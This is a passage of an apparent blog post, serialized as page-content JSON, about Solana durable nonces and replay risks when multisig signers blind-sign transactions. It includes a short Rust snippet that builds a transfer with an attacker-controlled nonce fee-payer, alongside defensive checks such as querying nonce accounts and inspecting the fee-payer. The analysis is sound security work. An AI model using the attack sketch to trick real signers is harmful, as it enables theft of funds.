previous_lamports_per_signature",{"type":24,"tag":147,"props":73823,"children":73824},{"style":235},[73825],{"type":29,"value":14462},{"type":24,"tag":147,"props":73827,"children":73828},{"style":241},[73829],{"type":29,"value":369},{"type":24,"tag":147,"props":73831,"children":73832},{"style":218},[73833],{"type":29,"value":73834}," self\n",{"type":24,"tag":147,"props":73836,"children":73837},{"class":149,"line":214},[73838,73843,73848],{"type":24,"tag":147,"props":73839,"children":73840},{"style":241},[73841],{"type":29,"value":73842},"        .",{"type":24,"tag":147,"props":73844,"children":73845},{"style":229},[73846],{"type":29,"value":73847},"check_load_and_advance_message_nonce_account",{"type":24,"tag":147,"props":73849,"children":73850},{"style":235},[73851],{"type":29,"value":9088},{"type":24,"tag":147,"props":73853,"children":73854},{"class":149,"line":272},[73855,73860,73864,73868],{"type":24,"tag":147,"props":73856,"children":73857},{"style":247},[73858],{"type":29,"value":73859},"            tx",{"type":24,"tag":147,"props":73861,"children":73862},{"style":241},[73863],{"type":29,"value":87},{"type":24,"tag":147,"props":73865,"children":73866},{"style":229},[73867],{"type":29,"value":73619},{"type":24,"tag":147,"props":73869,"children":73870},{"style":235},[73871],{"type":29,"value":9116},{"type":24,"tag":147,"props":73873,"children":73874},{"class":149,"line":281},[73875,73880],{"type":24,"tag":147,"props":73876,"children":73877},{"style":247},[73878],{"type":29,"value":73879},"            next_durable_nonce",{"type":24,"tag":147,"props":73881,"children":73882},{"style":235},[73883],{"type":29,"value":1549},{"type":24,"tag":147,"props":73885,"children":73886},{"class":149,"line":299},[73887,73892],{"type":24,"tag":147,"props":73888,"children":73889},{"style":247},[73890],{"type":29,"value":73891},"            next_lamports_per_signature",{"type":24,"tag":147,"props":73893,"children":73894},{"style":235},[73895],{"type":29,"value":1549},{"type":24,"tag":147,"props":73897,"children":73898},{"class":149,"line":308},[73899],{"type":24,"tag":147,"props":73900,"children":73901},{"style":235},[73902],{"type":29,"value":73903},"        )\n",{"type":24,"tag":147,"props":73905,"children":73906},{"class":149,"line":317},[73907],{"type":24,"tag":147,"props":73908,"children":73909},{"style":235},[73910],{"type":29,"value":3079},{"type":24,"tag":147,"props":73912,"children":73913},{"class":149,"line":332},[73914,73918,73922,73926],{"type":24,"tag":147,"props":73915,"children":73916},{"style":9044},[73917],{"type":29,"value":20425},{"type":24,"tag":147,"props":73919,"children":73920},{"style":235},[73921],{"type":29,"value":480},{"type":24,"tag":147,"props":73923,"children":73924},{"style":9044},[73925],{"type":29,"value":73718},{"type":24,"tag":147,"props":73927,"children":73928},{"style":235},[73929],{"type":29,"value":6630},{"type":24,"tag":147,"props":73931,"children":73932},{"class":149,"line":350},[73933,73937,73941,73945,73949,73953],{"type":24,"tag":147,"props":73934,"children":73935},{"style":247},[73936],{"type":29,"value":73730},{"type":24,"tag":147,"props":73938,"children":73939},{"style":241},[73940],{"type":29,"value":978},{"type":24,"tag":147,"props":73942,"children":73943},{"style":9044},[73944],{"type":29,"value":32911},{"type":24,"tag":147,"props":73946,"children":73947},{"style":235},[73948],{"type":29,"value":480},{"type":24,"tag":147,"props":73950,"children":73951},{"style":247},[73952],{"type":29,"value":73812},{"type":24,"tag":147,"props":73954,"children":73955},{"style":235},[73956],{"type":29,"value":12362},{"type":24,"tag":147,"props":73958,"children":73959},{"class":149,"line":358},[73960,73964,73968,73973],{"type":24,"tag":147,"props":73961,"children":73962},{"style":247},[73963],{"type":29,"value":73750},{"type":24,"tag":147,"props":73965,"children":73966},{"style":241},[73967],{"type":29,"value":978},{"type":24,"tag":147,"props":73969,"children":73970},{"style":247},[73971],{"type":29,"value":73972}," previous_lamports_per_signature",{"type":24,"tag":147,"props":73974,"children":73975},{"style":235},[73976],{"type":29,"value":1549},{"type":24,"tag":147,"props":73978,"children":73979},{"class":149,"line":397},[73980],{"type":24,"tag":147,"props":73981,"children":73982},{"style":235},[73983],{"type":29,"value":73780},{"type":24,"tag":147,"props":73985,"children":73986},{"class":149,"line":421},[73987,73991,73995],{"type":24,"tag":147,"props":73988,"children":73989},{"style":235},[73990],{"type":29,"value":6620},{"type":24,"tag":147,"props":73992,"children":73993},{"style":321},[73994],{"type":29,"value":6625},{"type":24,"tag":147,"props":73996,"children":73997},{"style":235},[73998],{"type":29,"value":6630},{"type":24,"tag":147,"props":74000,"children":74001},{"class":149,"line":435},[74002,74007,74011,74016,74021,74025],{"type":24,"tag":147,"props":74003,"children":74004},{"style":247},[74005],{"type":29,"value":74006},"        error_counters",{"type":24,"tag":147,"props":74008,"children":74009},{"style":241},[74010],{"type":29,"value":87},{"type":24,"tag":147,"props":74012,"children":74013},{"style":235},[74014],{"type":29,"value":74015},"blockhash_not_found ",{"type":24,"tag":147,"props":74017,"children":74018},{"style":241},[74019],{"type":29,"value":74020},"+=",{"type":24,"tag":147,"props":74022,"children":74023},{"style":705},[74024],{"type":29,"value":10147},{"type":24,"tag":147,"props":74026,"children":74027},{"style":235},[74028],{"type":29,"value":432},{"type":24,"tag":147,"props":74030,"children":74031},{"class":149,"line":444},[74032,74036,74040,74045,74049,74054],{"type":24,"tag":147,"props":74033,"children":74034},{"style":9044},[74035],{"type":29,"value":20468},{"type":24,"tag":147,"props":74037,"children":74038},{"style":235},[74039],{"type":29,"value":480},{"type":24,"tag":147,"props":74041,"children":74042},{"style":9044},[74043],{"type":29,"value":74044},"TransactionError",{"type":24,"tag":147,"props":74046,"children":74047},{"style":241},[74048],{"type":29,"value":9106},{"type":24,"tag":147,"props":74050,"children":74051},{"style":9044},[74052],{"type":29,"value":74053},"BlockhashNotFound",{"type":24,"tag":147,"props":74055,"children":74056},{"style":235},[74057],{"type":29,"value":269},{"type":24,"tag":147,"props":74059,"children":74060},{"class":149,"line":452},[74061],{"type":24,"tag":147,"props":74062,"children":74063},{"style":235},[74064],{"type":29,"value":1952},{"type":24,"tag":25,"props":74066,"children":74067},{},[74068],{"type":29,"value":74069},"The documentation does a good job of explaining how they work.",{"type":24,"tag":98,"props":74071,"children":74072},{},[74073],{"type":24,"tag":25,"props":74074,"children":74075},{},[74076],{"type":29,"value":74077},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":24,"tag":25,"props":74079,"children":74080},{},[74081,74083,74090],{"type":29,"value":74082},"Durable nonces are created and managed ",{"type":24,"tag":2773,"props":74084,"children":74087},{"href":74085,"rel":74086},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[2777],[74088],{"type":29,"value":74089},"by the system program",{"type":29,"value":74091},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":24,"tag":25,"props":74093,"children":74094},{},[74095,74097,74104],{"type":29,"value":74096},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":24,"tag":2773,"props":74098,"children":74101},{"href":74099,"rel":74100},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[2777],[74102],{"type":29,"value":74103},"based on the current blockhash",{"type":29,"value":74105},", and cannot be predicted in advance.",{"type":24,"tag":137,"props":74107,"children":74109},{"className":8614,"code":74108,"language":8613,"meta":7,"style":7},"    let hash_queue = self.blockhash_queue.read().unwrap();\n    let last_blockhash = hash_queue.last_hash();\n    let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[74110],{"type":24,"tag":80,"props":74111,"children":74112},{"__ignoreMap":7},[74113,74165,74198],{"type":24,"tag":147,"props":74114,"children":74115},{"class":149,"line":150},[74116,74120,74124,74128,74132,74136,74141,74145,74149,74153,74157,74161],{"type":24,"tag":147,"props":74117,"children":74118},{"style":218},[74119],{"type":29,"value":8634},{"type":24,"tag":147,"props":74121,"children":74122},{"style":247},[74123],{"type":29,"value":73673},{"type":24,"tag":147,"props":74125,"children":74126},{"style":241},[74127],{"type":29,"value":651},{"type":24,"tag":147,"props":74129,"children":74130},{"style":218},[74131],{"type":29,"value":19413},{"type":24,"tag":147,"props":74133,"children":74134},{"style":241},[74135],{"type":29,"value":87},{"type":24,"tag":147,"props":74137,"children":74138},{"style":235},[74139],{"type":29,"value":74140},"blockhash_queue",{"type":24,"tag":147,"props":74142,"children":74143},{"style":241},[74144],{"type":29,"value":87},{"type":24,"tag":147,"props":74146,"children":74147},{"style":229},[74148],{"type":29,"value":66222},{"type":24,"tag":147,"props":74150,"children":74151},{"style":235},[74152],{"type":29,"value":19495},{"type":24,"tag":147,"props":74154,"children":74155},{"style":241},[74156],{"type":29,"value":87},{"type":24,"tag":147,"props":74158,"children":74159},{"style":229},[74160],{"type":29,"value":9290},{"type":24,"tag":147,"props":74162,"children":74163},{"style":235},[74164],{"type":29,"value":9295},{"type":24,"tag":147,"props":74166,"children":74167},{"class":149,"line":160},[74168,74172,74177,74181,74185,74189,74194],{"type":24,"tag":147,"props":74169,"children":74170},{"style":218},[74171],{"type":29,"value":8634},{"type":24,"tag":147,"props":74173,"children":74174},{"style":247},[74175],{"type":29,"value":74176}," last_blockhash",{"type":24,"tag":147,"props":74178,"children":74179},{"style":241},[74180],{"type":29,"value":651},{"type":24,"tag":147,"props":74182,"children":74183},{"style":247},[74184],{"type":29,"value":73673},{"type":24,"tag":147,"props":74186,"children":74187},{"style":241},[74188],{"type":29,"value":87},{"type":24,"tag":147,"props":74190,"children":74191},{"style":229},[74192],{"type":29,"value":74193},"last_hash",{"type":24,"tag":147,"props":74195,"children":74196},{"style":235},[74197],{"type":29,"value":9295},{"type":24,"tag":147,"props":74199,"children":74200},{"class":149,"line":169},[74201,74205,74210,74214,74219,74223,74228,74232,74236,74241],{"type":24,"tag":147,"props":74202,"children":74203},{"style":218},[74204],{"type":29,"value":8634},{"type":24,"tag":147,"props":74206,"children":74207},{"style":247},[74208],{"type":29,"value":74209}," next_durable_nonce",{"type":24,"tag":147,"props":74211,"children":74212},{"style":241},[74213],{"type":29,"value":651},{"type":24,"tag":147,"props":74215,"children":74216},{"style":9044},[74217],{"type":29,"value":74218}," DurableNonce",{"type":24,"tag":147,"props":74220,"children":74221},{"style":241},[74222],{"type":29,"value":9106},{"type":24,"tag":147,"props":74224,"children":74225},{"style":229},[74226],{"type":29,"value":74227},"from_blockhash",{"type":24,"tag":147,"props":74229,"children":74230},{"style":235},[74231],{"type":29,"value":480},{"type":24,"tag":147,"props":74233,"children":74234},{"style":241},[74235],{"type":29,"value":485},{"type":24,"tag":147,"props":74237,"children":74238},{"style":247},[74239],{"type":29,"value":74240},"last_blockhash",{"type":24,"tag":147,"props":74242,"children":74243},{"style":235},[74244],{"type":29,"value":1473},{"type":24,"tag":25,"props":74246,"children":74247},{},[74248,74250,74255],{"type":29,"value":74249},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":24,"tag":8545,"props":74251,"children":74252},{},[74253],{"type":29,"value":74254},"can",{"type":29,"value":74256}," be saved and reused.",{"type":24,"tag":32,"props":74258,"children":74260},{"id":74259},"threat-model",[74261],{"type":29,"value":74262},"Threat Model",{"type":24,"tag":25,"props":74264,"children":74265},{},[74266],{"type":29,"value":74267},"Let's consider a simplified form of the original question.",{"type":24,"tag":2674,"props":74269,"children":74270},{},[74271,74276,74281],{"type":24,"tag":2678,"props":74272,"children":74273},{},[74274],{"type":29,"value":74275},"We have a N/M multisig",{"type":24,"tag":2678,"props":74277,"children":74278},{},[74279],{"type":29,"value":74280},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":24,"tag":2678,"props":74282,"children":74283},{},[74284],{"type":29,"value":74285},"We can accurately query chain state.",{"type":24,"tag":25,"props":74287,"children":74288},{},[74289],{"type":29,"value":74290},"Can we safely sign transactions?",{"type":24,"tag":25,"props":74292,"children":74293},{},[74294],{"type":29,"value":74295},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":24,"tag":25,"props":74297,"children":74298},{},[74299,74301,74307,74309,74316],{"type":29,"value":74300},"Durable nonces require an onchain account, and it's possible to use a ",{"type":24,"tag":80,"props":74302,"children":74304},{"className":74303},[],[74305],{"type":29,"value":74306},"getProgramAccounts",{"type":29,"value":74308}," call to validate if your signer ",{"type":24,"tag":2773,"props":74310,"children":74313},{"href":74311,"rel":74312},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[2777],[74314],{"type":29,"value":74315},"has an associated durable nonce",{"type":29,"value":87},{"type":24,"tag":137,"props":74318,"children":74320},{"className":41531,"code":74319,"language":41533,"meta":7,"style":7},"const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n  // The system program owns all nonce accounts.\n  SYSTEM_PROGRAM_ADDRESS,\n  {\n    filters: [\n      {\n        // Nonce accounts are exactly 80 bytes long\n        dataSize: 80,\n      },\n      {\n        // The authority's 32-byte public key is written\n        // into bytes 8-40 of the nonce's account data.\n        memcmp: {\n          bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n          offset: 8,\n        },\n      },\n    ],\n  }\n);\n",[74321],{"type":24,"tag":80,"props":74322,"children":74323},{"__ignoreMap":7},[74324,74371,74407,74415,74427,74435,74447,74455,74463,74480,74487,74494,74502,74510,74522,74548,74565,74572,74579,74587,74594],{"type":24,"tag":147,"props":74325,"children":74326},{"class":149,"line":150},[74327,74331,74336,74340,74344,74349,74353,74358,74362,74367],{"type":24,"tag":147,"props":74328,"children":74329},{"style":218},[74330],{"type":29,"value":15276},{"type":24,"tag":147,"props":74332,"children":74333},{"style":247},[74334],{"type":29,"value":74335}," connection",{"type":24,"tag":147,"props":74337,"children":74338},{"style":241},[74339],{"type":29,"value":651},{"type":24,"tag":147,"props":74341,"children":74342},{"style":218},[74343],{"type":29,"value":37533},{"type":24,"tag":147,"props":74345,"children":74346},{"style":229},[74347],{"type":29,"value":74348}," Connection",{"type":24,"tag":147,"props":74350,"children":74351},{"style":235},[74352],{"type":29,"value":480},{"type":24,"tag":147,"props":74354,"children":74355},{"style":229},[74356],{"type":29,"value":74357},"clusterApiUrl",{"type":24,"tag":147,"props":74359,"children":74360},{"style":235},[74361],{"type":29,"value":480},{"type":24,"tag":147,"props":74363,"children":74364},{"style":3534},[74365],{"type":29,"value":74366},"'testnet'",{"type":24,"tag":147,"props":74368,"children":74369},{"style":235},[74370],{"type":29,"value":12849},{"type":24,"tag":147,"props":74372,"children":74373},{"class":149,"line":160},[74374,74378,74383,74387,74391,74395,74399,74403],{"type":24,"tag":147,"props":74375,"children":74376},{"style":218},[74377],{"type":29,"value":15276},{"type":24,"tag":147,"props":74379,"children":74380},{"style":247},[74381],{"type":29,"value":74382}," nonceAccounts",{"type":24,"tag":147,"props":74384,"children":74385},{"style":241},[74386],{"type":29,"value":651},{"type":24,"tag":147,"props":74388,"children":74389},{"style":321},[74390],{"type":29,"value":41812},{"type":24,"tag":147,"props":74392,"children":74393},{"style":247},[74394],{"type":29,"value":74335},{"type":24,"tag":147,"props":74396,"children":74397},{"style":235},[74398],{"type":29,"value":87},{"type":24,"tag":147,"props":74400,"children":74401},{"style":229},[74402],{"type":29,"value":74306},{"type":24,"tag":147,"props":74404,"children":74405},{"style":235},[74406],{"type":29,"value":9088},{"type":24,"tag":147,"props":74408,"children":74409},{"class":149,"line":169},[74410],{"type":24,"tag":147,"props":74411,"children":74412},{"style":154},[74413],{"type":29,"value":74414},"  // The system program owns all nonce accounts.\n",{"type":24,"tag":147,"props":74416,"children":74417},{"class":149,"line":178},[74418,74423],{"type":24,"tag":147,"props":74419,"children":74420},{"style":247},[74421],{"type":29,"value":74422},"  SYSTEM_PROGRAM_ADDRESS",{"type":24,"tag":147,"props":74424,"children":74425},{"style":235},[74426],{"type":29,"value":1549},{"type":24,"tag":147,"props":74428,"children":74429},{"class":149,"line":187},[74430],{"type":24,"tag":147,"props":74431,"children":74432},{"style":235},[74433],{"type":29,"value":74434},"  {\n",{"type":24,"tag":147,"props":74436,"children":74437},{"class":149,"line":196},[74438,74443],{"type":24,"tag":147,"props":74439,"children":74440},{"style":247},[74441],{"type":29,"value":74442},"    filters:",{"type":24,"tag":147,"props":74444,"children":74445},{"style":235},[74446],{"type":29,"value":31222},{"type":24,"tag":147,"props":74448,"children":74449},{"class":149,"line":205},[74450],{"type":24,"tag":147,"props":74451,"children":74452},{"style":235},[74453],{"type":29,"value":74454},"      {\n",{"type":24,"tag":147,"props":74456,"children":74457},{"class":149,"line":214},[74458],{"type":24,"tag":147,"props":74459,"children":74460},{"style":154},[74461],{"type":29,"value":74462},"        // Nonce accounts are exactly 80 bytes long\n",{"type":24,"tag":147,"props":74464,"children":74465},{"class":149,"line":272},[74466,74471,74476],{"type":24,"tag":147,"props":74467,"children":74468},{"style":247},[74469],{"type":29,"value":74470},"        dataSize:",{"type":24,"tag":147,"props":74472,"children":74473},{"style":705},[74474],{"type":29,"value":74475}," 80",{"type":24,"tag":147,"props":74477,"children":74478},{"style":235},[74479],{"type":29,"value":1549},{"type":24,"tag":147,"props":74481,"children":74482},{"class":149,"line":281},[74483],{"type":24,"tag":147,"props":74484,"children":74485},{"style":235},[74486],{"type":29,"value":42798},{"type":24,"tag":147,"props":74488,"children":74489},{"class":149,"line":299},[74490],{"type":24,"tag":147,"props":74491,"children":74492},{"style":235},[74493],{"type":29,"value":74454},{"type":24,"tag":147,"props":74495,"children":74496},{"class":149,"line":308},[74497],{"type":24,"tag":147,"props":74498,"children":74499},{"style":154},[74500],{"type":29,"value":74501},"        // The authority's 32-byte public key is written\n",{"type":24,"tag":147,"props":74503,"children":74504},{"class":149,"line":317},[74505],{"type":24,"tag":147,"props":74506,"children":74507},{"style":154},[74508],{"type":29,"value":74509},"        // into bytes 8-40 of the nonce's account data.\n",{"type":24,"tag":147,"props":74511,"children":74512},{"class":149,"line":332},[74513,74518],{"type":24,"tag":147,"props":74514,"children":74515},{"style":247},[74516],{"type":29,"value":74517},"        memcmp:",{"type":24,"tag":147,"props":74519,"children":74520},{"style":235},[74521],{"type":29,"value":6630},{"type":24,"tag":147,"props":74523,"children":74524},{"class":149,"line":350},[74525,74530,74535,74539,74544],{"type":24,"tag":147,"props":74526,"children":74527},{"style":247},[74528],{"type":29,"value":74529},"          bytes:",{"type":24,"tag":147,"props":74531,"children":74532},{"style":247},[74533],{"type":29,"value":74534}," AUTHORITY_PUBLIC_KEY",{"type":24,"tag":147,"props":74536,"children":74537},{"style":235},[74538],{"type":29,"value":87},{"type":24,"tag":147,"props":74540,"children":74541},{"style":229},[74542],{"type":29,"value":74543},"toBase58",{"type":24,"tag":147,"props":74545,"children":74546},{"style":235},[74547],{"type":29,"value":9116},{"type":24,"tag":147,"props":74549,"children":74550},{"class":149,"line":358},[74551,74556,74561],{"type":24,"tag":147,"props":74552,"children":74553},{"style":247},[74554],{"type":29,"value":74555},"          offset:",{"type":24,"tag":147,"props":74557,"children":74558},{"style":705},[74559],{"type":29,"value":74560}," 8",{"type":24,"tag":147,"props":74562,"children":74563},{"style":235},[74564],{"type":29,"value":1549},{"type":24,"tag":147,"props":74566,"children":74567},{"class":149,"line":397},[74568],{"type":24,"tag":147,"props":74569,"children":74570},{"style":235},[74571],{"type":29,"value":30974},{"type":24,"tag":147,"props":74573,"children":74574},{"class":149,"line":421},[74575],{"type":24,"tag":147,"props":74576,"children":74577},{"style":235},[74578],{"type":29,"value":42798},{"type":24,"tag":147,"props":74580,"children":74581},{"class":149,"line":435},[74582],{"type":24,"tag":147,"props":74583,"children":74584},{"style":235},[74585],{"type":29,"value":74586},"    ],\n",{"type":24,"tag":147,"props":74588,"children":74589},{"class":149,"line":444},[74590],{"type":24,"tag":147,"props":74591,"children":74592},{"style":235},[74593],{"type":29,"value":11496},{"type":24,"tag":147,"props":74595,"children":74596},{"class":149,"line":452},[74597],{"type":24,"tag":147,"props":74598,"children":74599},{"style":235},[74600],{"type":29,"value":1473},{"type":24,"tag":25,"props":74602,"children":74603},{},[74604,74606,74614],{"type":29,"value":74605},"Unfortunately this is not sufficient",{"type":24,"tag":21085,"props":74607,"children":74608},{},[74609],{"type":24,"tag":2773,"props":74610,"children":74612},{"href":35224,"ariaDescribedBy":74611,"dataFootnoteRef":7,"id":35226},[21092],[74613],{"type":29,"value":1154},{"type":29,"value":74615},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":24,"tag":137,"props":74617,"children":74619},{"className":8614,"code":74618,"language":8613,"meta":7,"style":7},"    let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n    let message =\n        Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n            .serialize();\n",[74620],{"type":24,"tag":80,"props":74621,"children":74622},{"__ignoreMap":7},[74623,74689,74705,74788],{"type":24,"tag":147,"props":74624,"children":74625},{"class":149,"line":150},[74626,74630,74634,74638,74643,74647,74651,74655,74659,74663,74667,74671,74676,74680,74685],{"type":24,"tag":147,"props":74627,"children":74628},{"style":218},[74629],{"type":29,"value":8634},{"type":24,"tag":147,"props":74631,"children":74632},{"style":247},[74633],{"type":29,"value":48967},{"type":24,"tag":147,"props":74635,"children":74636},{"style":241},[74637],{"type":29,"value":651},{"type":24,"tag":147,"props":74639,"children":74640},{"style":235},[74641],{"type":29,"value":74642}," system_instruction",{"type":24,"tag":147,"props":74644,"children":74645},{"style":241},[74646],{"type":29,"value":9106},{"type":24,"tag":147,"props":74648,"children":74649},{"style":229},[74650],{"type":29,"value":37723},{"type":24,"tag":147,"props":74652,"children":74653},{"style":235},[74654],{"type":29,"value":480},{"type":24,"tag":147,"props":74656,"children":74657},{"style":241},[74658],{"type":29,"value":485},{"type":24,"tag":147,"props":74660,"children":74661},{"style":247},[74662],{"type":29,"value":25078},{"type":24,"tag":147,"props":74664,"children":74665},{"style":235},[74666],{"type":29,"value":546},{"type":24,"tag":147,"props":74668,"children":74669},{"style":241},[74670],{"type":29,"value":485},{"type":24,"tag":147,"props":74672,"children":74673},{"style":247},[74674],{"type":29,"value":74675},"ledger_base_pubkey",{"type":24,"tag":147,"props":74677,"children":74678},{"style":235},[74679],{"type":29,"value":546},{"type":24,"tag":147,"props":74681,"children":74682},{"style":705},[74683],{"type":29,"value":74684},"42",{"type":24,"tag":147,"props":74686,"children":74687},{"style":235},[74688],{"type":29,"value":1473},{"type":24,"tag":147,"props":74690,"children":74691},{"class":149,"line":160},[74692,74696,74701],{"type":24,"tag":147,"props":74693,"children":74694},{"style":218},[74695],{"type":29,"value":8634},{"type":24,"tag":147,"props":74697,"children":74698},{"style":247},[74699],{"type":29,"value":74700}," message",{"type":24,"tag":147,"props":74702,"children":74703},{"style":241},[74704],{"type":29,"value":41456},{"type":24,"tag":147,"props":74706,"children":74707},{"class":149,"line":169},[74708,74713,74717,74722,74726,74730,74734,74738,74742,74746,74750,74754,74759,74763,74767,74772,74776,74780,74784],{"type":24,"tag":147,"props":74709,"children":74710},{"style":9044},[74711],{"type":29,"value":74712},"        Message",{"type":24,"tag":147,"props":74714,"children":74715},{"style":241},[74716],{"type":29,"value":9106},{"type":24,"tag":147,"props":74718,"children":74719},{"style":229},[74720],{"type":29,"value":74721},"new_with_nonce",{"type":24,"tag":147,"props":74723,"children":74724},{"style":235},[74725],{"type":29,"value":480},{"type":24,"tag":147,"props":74727,"children":74728},{"style":229},[74729],{"type":29,"value":9500},{"type":24,"tag":147,"props":74731,"children":74732},{"style":235},[74733],{"type":29,"value":9358},{"type":24,"tag":147,"props":74735,"children":74736},{"style":247},[74737],{"type":29,"value":49277},{"type":24,"tag":147,"props":74739,"children":74740},{"style":235},[74741],{"type":29,"value":28662},{"type":24,"tag":147,"props":74743,"children":74744},{"style":9044},[74745],{"type":29,"value":47616},{"type":24,"tag":147,"props":74747,"children":74748},{"style":235},[74749],{"type":29,"value":480},{"type":24,"tag":147,"props":74751,"children":74752},{"style":241},[74753],{"type":29,"value":485},{"type":24,"tag":147,"props":74755,"children":74756},{"style":247},[74757],{"type":29,"value":74758},"evil_nonce_authority",{"type":24,"tag":147,"props":74760,"children":74761},{"style":235},[74762],{"type":29,"value":20789},{"type":24,"tag":147,"props":74764,"children":74765},{"style":241},[74766],{"type":29,"value":485},{"type":24,"tag":147,"props":74768,"children":74769},{"style":247},[74770],{"type":29,"value":74771},"nonce_account",{"type":24,"tag":147,"props":74773,"children":74774},{"style":235},[74775],{"type":29,"value":546},{"type":24,"tag":147,"props":74777,"children":74778},{"style":241},[74779],{"type":29,"value":485},{"type":24,"tag":147,"props":74781,"children":74782},{"style":247},[74783],{"type":29,"value":74758},{"type":24,"tag":147,"props":74785,"children":74786},{"style":235},[74787],{"type":29,"value":269},{"type":24,"tag":147,"props":74789,"children":74790},{"class":149,"line":178},[74791,74795,74800],{"type":24,"tag":147,"props":74792,"children":74793},{"style":241},[74794],{"type":29,"value":8797},{"type":24,"tag":147,"props":74796,"children":74797},{"style":229},[74798],{"type":29,"value":74799},"serialize",{"type":24,"tag":147,"props":74801,"children":74802},{"style":235},[74803],{"type":29,"value":9295},{"type":24,"tag":25,"props":74805,"children":74806},{},[74807,74809,74816],{"type":29,"value":74808},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":24,"tag":2773,"props":74810,"children":74813},{"href":74811,"rel":74812},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[2777],[74814],{"type":29,"value":74815},"logs the fee-payer here",{"type":29,"value":87},{"type":24,"tag":137,"props":74818,"children":74820},{"className":141,"code":74819,"language":140,"meta":7,"style":7},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n    return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, authority);\n}\n",[74821],{"type":24,"tag":80,"props":74822,"children":74823},{"__ignoreMap":7},[74824,74883,74939],{"type":24,"tag":147,"props":74825,"children":74826},{"class":149,"line":150},[74827,74831,74836,74840,74844,74849,74853,74858,74862,74866,74870,74874,74879],{"type":24,"tag":147,"props":74828,"children":74829},{"style":218},[74830],{"type":29,"value":35286},{"type":24,"tag":147,"props":74832,"children":74833},{"style":229},[74834],{"type":29,"value":74835}," print_config_show_authority",{"type":24,"tag":147,"props":74837,"children":74838},{"style":235},[74839],{"type":29,"value":480},{"type":24,"tag":147,"props":74841,"children":74842},{"style":218},[74843],{"type":29,"value":15276},{"type":24,"tag":147,"props":74845,"children":74846},{"style":235},[74847],{"type":29,"value":74848}," PrintConfig",{"type":24,"tag":147,"props":74850,"children":74851},{"style":241},[74852],{"type":29,"value":244},{"type":24,"tag":147,"props":74854,"children":74855},{"style":247},[74856],{"type":29,"value":74857}," print_config",{"type":24,"tag":147,"props":74859,"children":74860},{"style":235},[74861],{"type":29,"value":546},{"type":24,"tag":147,"props":74863,"children":74864},{"style":218},[74865],{"type":29,"value":15276},{"type":24,"tag":147,"props":74867,"children":74868},{"style":235},[74869],{"type":29,"value":26459},{"type":24,"tag":147,"props":74871,"children":74872},{"style":241},[74873],{"type":29,"value":244},{"type":24,"tag":147,"props":74875,"children":74876},{"style":247},[74877],{"type":29,"value":74878}," authority",{"type":24,"tag":147,"props":74880,"children":74881},{"style":235},[74882],{"type":29,"value":505},{"type":24,"tag":147,"props":74884,"children":74885},{"class":149,"line":160},[74886,74890,74894,74898,74903,74907,74911,74916,74920,74925,74929,74934],{"type":24,"tag":147,"props":74887,"children":74888},{"style":321},[74889],{"type":29,"value":2597},{"type":24,"tag":147,"props":74891,"children":74892},{"style":247},[74893],{"type":29,"value":74857},{"type":24,"tag":147,"props":74895,"children":74896},{"style":235},[74897],{"type":29,"value":495},{"type":24,"tag":147,"props":74899,"children":74900},{"style":247},[74901],{"type":29,"value":74902},"expert_mode",{"type":24,"tag":147,"props":74904,"children":74905},{"style":241},[74906],{"type":29,"value":29300},{"type":24,"tag":147,"props":74908,"children":74909},{"style":241},[74910],{"type":29,"value":3598},{"type":24,"tag":147,"props":74912,"children":74913},{"style":229},[74914],{"type":29,"value":74915},"pubkeys_equal",{"type":24,"tag":147,"props":74917,"children":74918},{"style":235},[74919],{"type":29,"value":480},{"type":24,"tag":147,"props":74921,"children":74922},{"style":247},[74923],{"type":29,"value":74924},"print_config",{"type":24,"tag":147,"props":74926,"children":74927},{"style":235},[74928],{"type":29,"value":495},{"type":24,"tag":147,"props":74930,"children":74931},{"style":247},[74932],{"type":29,"value":74933},"signer_pubkey",{"type":24,"tag":147,"props":74935,"children":74936},{"style":235},[74937],{"type":29,"value":74938},", authority);\n",{"type":24,"tag":147,"props":74940,"children":74941},{"class":149,"line":169},[74942],{"type":24,"tag":147,"props":74943,"children":74944},{"style":235},[74945],{"type":29,"value":827},{"type":24,"tag":25,"props":74947,"children":74948},{},[74949],{"type":29,"value":74950},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":24,"tag":25,"props":74952,"children":74953},{},[74954],{"type":29,"value":74955},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":24,"tag":25,"props":74957,"children":74958},{},[74959],{"type":29,"value":74960},"We can then use the following procedure.",{"type":24,"tag":2674,"props":74962,"children":74963},{},[74964,74969,74974,74979,74984],{"type":24,"tag":2678,"props":74965,"children":74966},{},[74967],{"type":29,"value":74968},"Ensure all signers have no durable nonce accounts.",{"type":24,"tag":2678,"props":74970,"children":74971},{},[74972],{"type":29,"value":74973},"The first signer 